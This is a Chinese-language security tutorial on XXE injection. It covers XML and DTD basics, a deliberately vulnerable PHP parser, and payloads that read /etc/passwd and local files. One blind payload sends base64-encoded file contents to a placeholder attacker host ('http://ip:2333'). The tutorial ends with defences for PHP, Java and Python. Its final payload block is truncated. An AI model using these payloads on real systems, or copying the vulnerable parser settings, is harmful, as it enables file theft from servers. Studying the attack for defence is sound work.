XXE是什么

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,这是一个注入漏洞。注入的是什么?XML外部实体。因此其利用点是 外部实体 ,如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。(相反,单纯的XML注入比较鸡肋。)

在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

什么是 XML?

以下内容主要参考W3School的XML系列教程

要了解XXE,首先要了解XML标记语言。XML标记语言有哪些特征呢?

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
    XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。XML文档用途广泛,最常见的比如订阅一个网站时的rss.xml等。XML本质上就是一段自我描述的数据。XML是一种树结构。语法参考链接http://www.w3school.com.cn/xml/xml_syntax.asp

重点语法规则主要有这样几点:

  • 所有 XML 元素都须有关闭标签
  • XML 标签对大小写敏感
  • XML 必须正确地嵌套
  • XML 文档必须有根元素
  • XML 的属性值须加引号
  • 如果你把字符 “<” 放在 XML 元素中,会发生错误,一些特殊字符需要转义。

此外,好的XML文档不仅遵循XML的规范,还符合DTD(document type definition)规范。

什么是DTD?

所谓的DTD,Document Type Definition,文件类型定义,用来宣告网页的文件类型。举例来说,HTML 有很多版本,如:HTML, HTML2.0, … , XHTML, XHTML5 等,利用<!DOCTYPE> 让浏览器能正确显示内容。

通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。可一致地使用某个标准的 DTD 来交换数据。应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。还可以使用 DTD 来验证您自身的数据。

它使用一系列合法的元素来定义文档结构:

<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]> 

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例:

<?xml version="1.0"?>
<!DOCTYPE note [			这是DTD内部声明		
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>							
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

以上 DTD 解释如下:

  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
  • !ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”
  • !ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
    (之后类似)
    这里有一个小重点Tips:
  • “#PCDATA” 类型为被解析的字符数据(parsed character data)。表示读文件按照XML格式进行解析
  • “#CDATA”类型为字符数据(character data)。表示读文件但是不用解析,直接读文件的原始内容
    外部文档声明
    假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">		# dtd文件的绝对路径
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

这是包含 DTD 的 “note.dtd” 文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

其他更多的可能需要读者参考这个链接进行学习http://www.w3school.com.cn/dtd/index.asp。
一个内部实体声明
语法:

<!ENTITY 实体名称 "实体的值">

例子:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

一个外部实体声明

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

XXE 的成因

上面介绍了这么多,大概才把XXE的基础知识介绍完,接下来,我们具体看一下这个外部实体注入漏洞的成因和攻击面。
会发生XXE 主要是因为parser 没有禁止使用外部实体,如常见的php函数simplexml_load_string()会解析外部实体。我们可以自行定义一个实体名称,并在实体内容中定义要服务器做的行为,从而造成攻击,因此注入点通常是可以输入XML 的位置。

XXE的攻击面

那么,我们究竟可以利用XXE做哪些事情呢?下面介绍一下XXE的攻击面。

  1. 有回显的任意文件读取
    攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们可以控制输入的XML代码造成服务器上任意文件的读取。
    xml.php
<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> 
<creds>&xxe;</creds>

但是直接读文件,在遇到文件内容中含有<,&等未转义的字符时,解析会报错。这是由于XML的外部实体特性导致的,如以下文件:

<!DOCTYPE html>
<html>
<head>
<title>HTML5 rose</title>
<meta charset="utf-8">
</head>
<body>

解决方案

前面提到CDATA是将文件当做原始字符串而不进行解析,于是,可以通过 将payload包裹起来,使其不解析为XML就可以读取此类文件了。由于普通实体不能直接拼接,需要先拼接再调用,于是需要利用参数实体。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % xxe SYSTEM "file:///e:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%xxe;%end;">

于是通过XXE和CDATA就基本上实现了任意文件读取。

  1. 无回显任意文件读取(Blind OOB XXE)
    通常情况下,xml文件是用于服务器的各项配置的,而不是直接输出的,于是我们需要寻找其他不依托服务器回显的方法来实现任意文件读取。

xml.php

<?php
//相比上一段代码,缺少了回显过程,只有解析过程。
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

那么,利用什么方法来进行无回显的读取呢?

通过之前的学习,我们知道参数实体是可以合并依次调用的。那么我们可以利用三个参数实体,先去访问VPS的一个evil.dtd,调用evil.dtd的参数去读取服务器的敏感文件,放到一个参数中,再利用最后一个参数实体将文件内容发到VPS的一个端口。

利用这个思路,我们可以构造这样的payload:

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/test.txt">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://ip:2333?p=%file;'>">

payload:

%remote;%int;%send;
]>


需要注意的是dtd文件中作为内容的一段实体数据需要转义"<!ENTITY &#x25; send SYSTEM 'http://ip:2333?p=%file;'>"

发现虽然无回显,但是依然可以通过这样的方法读取数据。

XXE的防护

在介绍成因的时候说过,会发生XXE 主要是因为parser 没有禁止使用外部实体,所以防护方法就是使用语言中推荐的禁用外部实体的方法。

PHP:
libxml_disable_entity_loader(true);

Java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))